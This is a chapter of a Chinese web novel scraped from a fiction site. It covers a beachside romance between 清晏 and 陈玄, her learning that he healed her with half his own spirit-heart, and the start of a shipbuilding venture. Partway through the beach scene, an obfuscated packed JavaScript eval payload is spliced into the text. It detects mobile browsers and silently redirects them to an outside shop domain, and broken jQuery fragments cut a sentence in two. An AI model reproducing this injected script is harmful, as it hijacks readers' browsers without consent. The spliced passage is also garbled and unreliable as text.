文趣网 > 其他小说 > 牧海纪 > 17. 造船
    如果可以选,在家生闷气和出门遭大罪之间,该选哪个?清晏很后悔,选了不问缘由地随陈玄出来试船。

    她以为试船就是把船丢到海里捣鼓捣鼓看能不能浮起来就行。没想到陈玄来真的,这一天狂风、暴雨、巨浪、暗礁体验下来,她对出海的热情基本消磨殆尽。

    陈玄问她,好玩吗?她一屁股坐在沙滩上,忍着胃里的翻腾说:“让我缓缓。感觉还在摇。”

    艏月高举,风不如傍晚时躁动。咸咸的海水帮脚黏住了一层绒纱,她伸出一只脚,用脚尖去捻潮间带上一个圆圆的通气孔。

    “那里面是螃蟹。”陈玄故意逗她,清晏把脚缩了回来,左肩被身体带动着,不经意蹭到了他的右肩。她微微挪开些许,双臂环抱住膝盖,漫无目的地眺望着月轮游走的天际。

    陈玄也把目光交给月光,那两份清冷碰在了一起。“你真当我是你师父吗?”

    清晏闭上眼睛,果然,是气拜师帖。“晴屿什么都不知道,我只是配合她一下……不然就露馅儿了……”

    陈玄对这个答案很不满意,他转过身,正对着清晏,“庄清晏,你是真傻,还是装傻?相处这么久,你真觉得我是你师父?什么都不知道的,是你吧?”

    他语气有些重了,她突然很紧张。矛盾的人就是可恶,事情推进模棱两可,看人看事却必要清楚明白。她不是不知道,只是还没想好要如何面对。

    “我……”她抱紧了膝盖,“你教会了我修止、修观,破除心魔,还救了我好几次,说是师父也不为过……”

    “那我现在告诉你,我不做你的师父。我陪在你身边不是为了培养你成才。那是庄墟做的事。再说,你如此愚笨,我教不动你了。”

    他顿了顿,深深呼吸,不再说话。

    “陈玄……”

    他偏过头来看她,目光被海水浸得柔软了些:“清晏,我最后教你一些东西,你好好学着。”

    “什么?”

    “喜欢。”他喉结动了动,声音很轻。

    她怔住了,手指悄悄攥紧了衣摆。

    他抓住她的拳头,把紧张的指节一一松开,手指探入她的指缝中,与她十指相扣。他跪坐起来,另一只手五指插入她垂下的青丝中,捧住她的头,把她困在自己面前。

    “陈玄,你干什么……”她想躲。

    “教你。”

    他靠近她红润却微凉的唇,任由它们无措地颤动着,他闭上眼,很轻,只是贴着,若即若离,没有纠缠,没有更进一步。呼吸交融在一起,她将他的炽热纳入肺腑,三个呼吸后,他退开了。她脸上是错愕羞怯。

    他的眼和鼻尖微微泛红,他努力把声音压得很低,“这是‘心动’。”

    她下意识按住胸口,心跳比潮水还快,她整个人仿佛在海边淋了雨,失了神。

    “告诉我,心跳快不快?”陈玄目光灼热,低头看着她。

    他没等回应,又俯下身,这次他双手紧紧捧住她的脸,把自己纷乱的心绪用掌心的热、指尖的凉送到她脸颊。鼻尖擦过她的鼻尖,嘴唇几乎又要贴上,她闭上眼,渴望迎接他的热切,他却轻轻停住了,放开手,退回他的领域。

    她睁开眼,脸唰地绯红。纷乱的眼神中,为何带着一丝泪涌的冲动。

    “这是‘怅然’。”他的眼已噙满了泪光。

    她的呼吸乱了,右手不自觉地抓住他的左手。她跪坐起来,面朝着他,落下了眼泪。

    他的眼中是含泪的笑,站起身,身上的沙疏忽滑落,他不想等了,弯腰抓住她的双肩,身后的发丝如瀑布倾泻而下,撞在她的脸上、胸前。她跪直了身体,扯住他宽大的袖口,仰起头等待他被月光照亮的侧脸,靠近她,温暖他,带走她。

    他的唇重重落在她之上,只碰了一次,他便强忍住冲动侧过脸去,把她揽入怀中。他的唇擦过她的耳廓,一团急促温润的气息冲击着她的鬓发。

    她站起来,抱住他,感受着那团火热气息融入她的呼吸心跳。期待在燃烧,泪无声落下。

    “这是‘占有’。”他在耳边轻轻说,好像害怕天地万物听去了他的秘密,也害怕自己急促的呼吸吹散了她的心。他抱着她,怕双臂太用力让她碎裂,又怕太松圈不住飘忽不定的她。此时此刻,她一切的灵魂、神识、感受和肢体都在他手上,占有只在一念之间。

    一滴泪跌落,他向后退开了。

    松开她的手,后退两步,背过身去,站在原地深深呼吸才转过身来。双目还是红的,却已然褪去了那份迷离动情的神色。

    她还愣在原地。直到看到他恢复了往日清冷肃静的模样。

    他忽然笑了一下,隔着距离问她:“学会了吗?”

    心里痒痒的、怪怪的,并不想离他这么远。她的脸在烧,意识还迷失在他营造的绮丽幻象中,那个无限靠近,拥抱她、亲吻她的陈玄,让她深深着迷。

    不行,面红耳赤的不像话,怎么这么不禁撩。她像枇杷甩水一样,想把刚刚的失态甩掉。

    “这三种,就是‘喜欢’。我每日辗转其间,而你却要喊我师父。”陈玄的神情是在责怪她?

    滔天大罪啊!

    清晏劝自己冷静,可是刚才的心跳和呼吸早就出卖了自己,那些心悸、失落、渴求是真实的,他把她的心翻开看了看,现在他看明白了,她已经无路可逃了。

    “我心里有你。”她说。

    “我知道。”他端端坐好,小船搁浅在沙滩上,海潮已退下。

    “可是我不确定的事还有好多。因为是你,我不能草草应付。”她不敢看陈玄,背靠背,也许能把自己剖析得更清楚一些,如果此时需要冷静告诉他自己心事的话。

    “说说陆勋吧。”他是陈玄眼前最大的阻碍。

    “上回去军营,我告诉他我选择放弃。”

    “他呢?”

    “他不选。”

    “少时心动是孤独里长出来的好奇,很快就被世俗击败了。我无法融入他的生活,将门束缚和清俞面对过的那些琐碎是一样的,我绝无可能忍受。”这就是她说给陆勋的那句话——我非良配。

    陈玄听懂了。

    他们是有过感情的,只是碍于世俗不得不各退一步。清晏做了选择,但陆勋还没完全放弃。这段关系并非败于情感破裂,而是暂时被怯懦和不合时宜搁浅,事情可能还会发生改变,谁都说不准。如果时移世易,他们死灰复燃……到那时,陈玄本人就是最大的阻碍。

    突然一阵心痛,他按住了胸口。

    奇怪,清晏胸口也闷闷作痛。背后的陈玄猝然抽动了身体,她赶紧转过去。他脸色发白,眉头紧锁,放在胸口的手慢慢移开,他恢复如常,她的痛感同步消失。

    不对,两个人同时心痛是什么道理?陈玄给了她半数灵力,灵体只是修为而非真身,没理由牵扯出身体上的疼痛。继续修炼,灵台会再次盈满灵力。致和境修行者补完半数灵力大约需要五年时间。刚刚试船那番风云变化也是陈玄灵力所造,能感觉到他灵力充沛。

    是不是那朱雀卵与他真身融合未臻?

    清晏命他坐好,不许乱动,单手悬于他胸前探知。陈玄拒不配合,她拽住他的手,强制他安静。不过五个呼吸间,她就垂下手,愣在原地。

    朱雀卵中包裹着的,红色心石,竟然……只有一半!

    一半?

    复生后改变灵力吐纳方式,真身中那团暖流,以及常觉莫名的心痛,是因为……

    她取出自己的真身,它不再是一枚透明的冰石心。

    中心那一处最大的红晕,凝住浓得化不开的朱砂色,像一团血,被半透明的冻底包裹着。

    丝丝缕缕的红,像是从石头中心延伸出来的,细如发丝却又根根分明,在通透的质地间交织、分岔、汇流,脉络清晰得仿佛能看见它们在搏动。

    身死,用灵力供养不灭灯可以留住灯芯血主魂魄不入轮回。

    道消,散灵无可阻挡,除非用同类真身凝炼修补,或用灵体包裹破损的真身。

    她以为自己只是身死。所以用他半身修为供养不灭灯就能活。

    此刻她才知道,当时自己既身死又道消!

    想活,点灯不够,只能取下一部分真身,捏碎了,熔化了,强行修补!

    她颤抖着手,把真身收回体内,抱着膝盖埋着头抽泣起来,先是不想被发现的哽咽,再是掩藏不住的抽泣,最后是呜呜呜闷在手臂里的大哭。

    原来,她在蟠龙岭之后,活下来的每一天,都是陈玄的命替她挣来的。

    可是,她在酆都救人付出甚微,并不能等同他以真身相救的大恩。

    庄清晏,你何德何能,竟然让一个人为你付出至此?

    你所做的,能报答他万分之一吗?

    你有什么理由让他在感情里颠沛流离,心痛难当?

    你和陆勋的一切,都在刺痛他的心,不感到愧疚吗?

    清晏哭个不停。陈玄没阻止她,让她宣泄一下也好,可她哭得有点久,他摇她、搀她,让她趴在自己肩膀上哭。

    靠着他,她反倒不哭了,把眼泪都擦干净,不说话,就这样赖在他身边,不掺半点其他,静静地,赖着。陈玄也不碰她,就让她靠着发呆。

    “是习惯?”

    “不止。”

    “是依赖?”陈玄柔柔地问。

    “嗯。”她嗡着鼻音。

    “是信任?”

    “最信任的。”

    “有压力?”

    她不敢接话。

    “别有负担。”他说得轻巧,因为付出的是他,他不计代价。

    “痛吗?”

    “什么?”

    “掰开,捏碎,熔化,强行修复……”她用手在虚空中比画着,光想都痛。

    “很痛。不适应,发烧了。”不止,他甚至因无法自我修复而散灵。

    她的眼泪又涌出来。“对不起……”

    “你昏过去了,决定是我做的,对不起什么?”陈玄帮她擦去眼泪,“若要说对不起,给你这么大的负担,我也对不起。”

    “可是,我能报答你什么?”

    “你救过我了,去酆都冥界接我回来。朱雀蛋抑制散灵还是有点用的。我们扯平了。”

    “哪里有扯平,我去酆都也太顺了,一根头发都没掉。你跟酆都大帝称兄道弟,判官还平白无故施舍那颗蛋……我欠你太多了……”她又要哭,他捂住她的嘴。

    “再哭又要涨潮了,把咱们淹死在这里。”他还有心思笑。

    “我怎么欠了这么大一笔债啊?人命债难还,我还欠了……情债!呜呜……”

    “欠我怎么了,我不催债的。”他拿出乾坤袋中藏着的那件狐狸毛斗篷,把两个人都兜进去,系绳捆住两个人。夜深了,海风渐渐凉了。

    “我不够好,可你很好。”她词不达意。是因为这个人是陈玄,是你,才需要慎重考虑,不能被恩情绑架,不能匆忙许诺。剔除心里那些慌乱的杂草,看清自己的心意,要真真切切的爱,才算对得起他和自己。若是稀里糊涂在一起,兰因絮果,各自纷飞——她根本承受不起失去他的痛。如果朋友也做不成了,那她会不会再一次死去,就像她在蟠龙山找不到他一样。

    心绪翻涌,也许是哭累了,也许今晚经历太多,她心力交瘁,靠着陈玄睡着了。

    明明独处时意难平,下意识想靠近,话到嘴边又立刻收住,不敢逾越了分寸,让她为难。共过生死反而小心翼翼,是道德感太强了吧?也算好事?当时不顾一切救她,本就不是要换她一地难堪。

    陈玄把那句“我心里有你”捧在心上,反复推敲。

    今日既和她说了实情,那今后便能更加坦然一些。

    谁让她个性如此,魂灵里一点瑕疵都不能有,必得要将自己看得真真切切,才肯给别人一个答案。不论如何,羁绊已成事实。疏离、亲密,他都接受。

    他取出星空卷轴,扯着一头往海的方向一抛,图画展开,银光乍泄——

    月轮圆满,清辉自天心直泻而下。赤足踏沙,两个人一步步往海中去。水微凉,漫过腰际,便觉身子轻,世间的重量都被海水化去。再往深处,脚下一空,心沉沉下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942474|213955||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    坠;

    鲸歌自远处传来,低回绵长,是天地缓缓的吐纳。那歌声一起,海水轻轻震颤,海草受了音浪,摇曳随流而舞,拂过肩背,又缠上脚踝。鱼儿聚来,绕着他二人打转,越旋越急,像撒了满天的星子坠入海中,又像无数盏流萤提着小灯巡游,将他们团团围住;

    她迎着他的吻,长长久久地,落下的泪、灵和血,化作了一片月光从海面落下,被水波折成万千银丝,织入深碧之中……

    再醒来时,她已躺在家中榻上,身边窝着枇杷。

    窗外天色微明。

    翻来覆去,好不容易等福饼打鸣了,她冲出门外,在院中花窗下瞧,陈玄已经开始重做他的小船了。她迟疑着,又下定决心似的,大声喊:“陈玄,早上好!”

    “嗯,好!”他头也没抬,好像根本不在乎她,昨天什么也没发生一样。

    她看了他一会儿,抱着狗,坐下来,靠着花窗墙,小声问道:“昨天你做梦了吗?……我梦见我掉进海里了。还有鱼和海草,还有……”她越来越小声,甚至觉得这种梦偷偷梦了便是,不该问。

    “没有梦。”他随口一答。

    “喔。”她站起来,准备做早餐了。

    “不过,你睡着以后,海边出现一条鲸鱼,一直哭。”

    那,到底是梦见了还是没梦见呢?

    她不问了,胡思乱想,多说无益。干活!剥桐子,捣桐油!

    ***

    自从收了弟子,跑到酆都作弊研究造船的人就多了一个。陈玄要求竹安严守他有仙力的秘密,否则将会永堕地狱,竹安听得信信的,还赌咒起誓。不得不说,酆都大帝这套恐吓震慑对世人来说还挺管点用的。陈玄有些想收回之前那些狂言。

    酆都大帝闲来无事就到黄泉阁的工坊去看陈玄和竹安造小船。

    “我这忘川平如镜鉴,不需要如此深吃水的尖底船呐,小舢板就够了。”酆都大帝劝他们别这么拼,当初给陈玄订船模,只是为了显摆,给奈何桥片区增加一些观赏点。

    “做戏做全套,不是说风高浪急,落到忘川底会受到骨肉灼烧之痛吗?设计上要让乘客放心。”陈玄示意竹安,以后就这么骗。

    “再说我这酆都之内,也无有这么大的风,能送三根大桅杆呐。”啧啧啧,酆都大帝总算领悟到平日里库银是怎么被下面人挥霍掉的了。

    “花得少了,归墟还要问责。花不够了,上去哭一哭请个债子下来,还能不批吗?”陈玄对他眨眨眼。

    “对对对,上仙说得有理。”酆都大帝平时就是这么办的。

    酆都时间流逝缓慢,人间不过两天,酆都已然二十日。他们调整出了更符合扶风镇外海航行的尖底船,并再一次进行测试。依据两次试船的结果,陈玄整理了一份比狗腿还高的案卷,详细誊写了两百个零件的构造。竹安有悟性,很快就测算出按比例放大船模所需要的木料用量和尺寸——熟悉材料是竹安的优势。

    接下来就是造真船了。

    他们把几艘派不上用场的船模送给酆都大帝交差,让他用点灵力放大了用。老头很是高兴,只是这个大红福字在老头看来有些扎眼:“咱们这里流行寿字,能不能改一下?”“绝对不行。”陈玄很坚持。酆都大帝送他们出了城,欢迎他们再来,竹安连连摆手。

    建造一艘商船需银数千两,非单家能办。所以,商贾联合宗族,共筹股本,按股分红,名曰“合船”。陈玄去了一趟刘潮安家,说是喝茶寒暄,实是把船模捧给他看。刘族长端着看了半晌,又拿指节叩了叩,“你这船,能走多远?”“黑水洋也能过。”族长点了点头,没有多话。算盘噼里啪啦响了一夜,第二天便以“舶主”身份召集商会“醵钱造船”,很快就筹了头一拨银子来,连同自己的股钱合在一处,请过陈玄的意思后,让刘家老账房父子当了财副。

    往后几日,竹安出门就往三个地方跑。去江口北岸造船厂,交了定银,把船台占下。到木料场翻看老杉巨木,只选晾干能用的现材。选定底龙骨料,又配了船旁板与隔舱用的松木,约好按时送到船厂。去人力巷,巷两边都是等人唤工的匠人。竹安找到一位身怀秘技的老捻匠,以厚薪定了下来。又唤了二十余名力工来当搬运。几个小伙子找到他家来求学本事,也讲定船厂上工试用,做得好的收做学徒。

    火长,也就是船长,找了王长顺。他和刘族长相熟,善于操舟。老船太旧修补不划算,他看罢船模当即应下新船,和刘族长约定舱位、抽分。他手下副火王锦弘,舵工郑保全、汤两直,帆手牛登科等都是用惯了的老手,二十多年顺风顺水是班福星。

    陈玄是总匠头,随船出海也是众人心愿,便以师徒二人的造船技艺和图纸作价占股。竹安当随船押工,小修小补商船之余兼着做点小买卖,刘族长给竹安放了“子母钱”——竹安持一枚子钱,族长留下母钱,等走船回来拿赚下的利钱抵本,竹安欣喜非常。

    已是三月底,夏季风不等人,移船下水要选在大潮时。刘族长看准了中秋日行“拨落令”。八月十五潮水盛大,又是酬神佳节,于俗最吉。但算起来只剩四个半月,工期紧得很。刘族长索性把造船厂的工人全包了,又从周边镇子多请了几位老匠人,专做龙骨拼接和艌缝。船厂一时之间挤进来七八十号人,热闹非凡。

    听说扶风新船中秋出洋,亲朋好友互相听传,陆陆续续引了好些商贾参观船模船厂。火长按舱位排了序,头舱装贵货,中舱住人,底舱压瓷器,和商户约定好三七分。刘族长按人头收船票,有想去海外找财路的,有带着家小躲避陆家军战火的,还有几个捧着经书说要往东边传法的,最多的还是刘族长的商伙,专管瓷器和丝绸的装箱记账。各人交了银子,签了契约,心里都踏实。

    忙碌不是坏事。

    陈玄、竹安每日泡在厂里,清早到,天黑走,跟工人们一起抬料、对榫、看图纸,哪里不对就亲自上手改。

    陈玄心里的那份充实感,清晏隔着窗也能摸到。造船这事撕开了一个口子,让陈玄和清晏有机会暂离面对面的尴尬,有空间安放好各自的心,让它不要堕入追根究底的虚无。